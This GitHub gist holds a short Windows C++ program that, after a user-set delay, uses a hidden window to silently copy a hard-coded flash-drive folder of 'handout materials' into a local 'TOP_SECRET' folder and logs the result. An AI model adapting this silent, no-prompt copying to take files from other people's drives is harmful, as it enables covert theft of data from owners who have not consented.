Skip to content

Instantly share code, notes, and snippets.

@frostiq
Last active December 31, 2015 00:59
Show Gist options
  • Save frostiq/7911153 to your computer and use it in GitHub Desktop.
Save frostiq/7911153 to your computer and use it in GitHub Desktop.
H_Copy
#include <Windows.h>
#include <sstream>
#include <fstream>
#include "../../KWnd.h"
int CopyDirTo(const std::wstring& source_folder, const std::wstring& target_folder);
LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam);
UINT time;
#define TIMER 1
#define MS_TO_MINS 60000
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
std::stringstream s;
if(strcmp(lpCmdLine, "") != 0)
{
s << lpCmdLine;
s >> time;
}
else
{
time = 1;
s << time;
s >> lpCmdLine;
}
wchar_t temp[50];
MultiByteToWideChar(CP_ACP,MB_PRECOMPOSED,lpCmdLine,-1,temp,50);
wcscat(temp,L" min");
MessageBox(NULL,temp,L"Timer is set",MB_OK);
time *= MS_TO_MINS;
KWnd window(L"Win1", hInstance, 0, WndProc, NULL, 0, 0, 0, 0,
CS_HREDRAW | CS_VREDRAW, WS_POPUP, NULL);
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
LRESULT CALLBACK WndProc (HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
static std::wstring str;
static std::ofstream logfile;
static wchar_t path[MAX_PATH];
switch(message)
{
case WM_CREATE:
SetTimer(hWnd, TIMER, time, NULL);
break;
case WM_TIMER:
GetModuleFileName(NULL, path, MAX_PATH);
str.assign(path);
str.erase(str.rfind('\\'));
str.append(L"\\TOP_SECRET\\");
CreateDirectory(str.c_str(),NULL);
logfile.open(std::wstring(str).append(L"log.txt").c_str());
logfile<<std::hex<<CopyDirTo(L"E:\\!Flash256\\!Раздаточные материалы\\", str.c_str());
logfile.close();
SendMessage(hWnd, WM_DESTROY, 0, 0);
break;
case WM_DESTROY:
KillTimer(hWnd, TIMER);
PostQuitMessage(0);
break;
}
return DefWindowProc(hWnd, message, wParam, lParam);
}
int CopyDirTo(const std::wstring& source_folder, const std::wstring& target_folder)
{
std::wstring new_sf = source_folder + L"\\*";
WCHAR sf[MAX_PATH+1];
WCHAR tf[MAX_PATH+1];
wcscpy_s(sf, MAX_PATH, new_sf.c_str());
wcscpy_s(tf, MAX_PATH, target_folder.c_str());
sf[lstrlenW(sf)+1] = 0;
tf[lstrlenW(tf)+1] = 0;
SHFILEOPSTRUCTW s = {0};
s.wFunc = FO_COPY;
s.pTo = tf;
s.pFrom = sf;
s.fFlags = FOF_NO_UI;
return SHFileOperationW(&s);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment